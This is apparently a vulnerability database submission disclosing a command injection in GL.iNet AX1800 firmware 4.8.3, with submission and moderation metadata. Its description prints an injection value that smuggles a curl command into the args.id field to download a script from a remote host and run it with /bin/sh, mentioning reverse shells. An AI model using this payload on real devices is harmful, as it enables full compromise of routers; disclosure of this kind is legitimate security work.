| タイトル | GL.iNet AX1800 4.8.3 Command Injection |
|---|
| 説明 | The attacker can construct the following args.id value:
\n/usr/bin/curl http://192.168.0.2:8000/rs.sh -o /tmp/rs /bin/sh /tmp/rs#
When the device executes remove_rule, the above content is concatenated into the os.execute() command, causing the device to download rs.sh from the remote host and execute it. Since rs.sh is no longer subject to RPC parameter filtering, it may contain a reverse shell, persistence logic, or arbitrary system commands, ultimately leading to full compromise of the device. |
|---|
| ソース | ⚠️ https://github.com/xxianxiayubanmian/iot/blob/main/GL-link%20AX1800.md |
|---|
| ユーザー | misaki_ce (UID 98836) |
|---|
| 送信 | 2026年06月12日 20:56 (2 月 ago) |
|---|
| モデレーション | 2026年08月04日 10:33 (2 months later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 385788 [GL.iNet AX1800 迄 4.8.3 RPC Endpoint oui-rpc.lua remove_rule args.id 特権昇格] |
|---|
| ポイント | 20 |
|---|